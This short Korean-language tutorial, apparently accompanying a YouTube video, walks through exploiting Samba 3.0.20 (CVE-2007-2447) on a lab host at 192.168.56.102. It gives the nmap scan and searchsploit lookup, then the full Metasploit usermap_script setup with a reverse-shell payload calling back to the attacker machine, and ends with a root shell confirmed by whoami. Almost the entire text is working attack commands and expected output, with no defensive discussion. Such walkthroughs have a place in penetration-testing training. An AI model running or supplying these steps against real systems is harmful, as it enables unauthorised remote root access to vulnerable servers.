🎬 이 YouTube 동영상

1️⃣ 대상 스캔 (Nmap)

nmap -sS -sV -p 139,445 192.168.56.102

예상 결과: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian

👉 Samba 버전: 3.0.20 이것은 CVE-2007-2447에 취약합니다.

2️⃣ Samba 익스플로잇 확인

searchsploit samba 3.0.20

결과:

Samba 3.0.20 - 'Username' map script Command Execution

3️⃣ Metasploit 실행

msfconsole

4️⃣ Samba 익스플로잇 선택

use exploit/multi/samba/usermap_script

5️⃣ 익스플로잇 설정

set RHOSTS 192.168.56.102
set RPORT 139
set LHOST 192.168.56.101

Payload는 자동으로 설정됩니다:

cmd/unix/reverse

확인:

show options

6️⃣ 익스플로잇 실행

run

또는

exploit

7️⃣ 결과 🎉

성공하면:

Command shell session opened

확인해 봅시다:

whoami

👉 결과:

root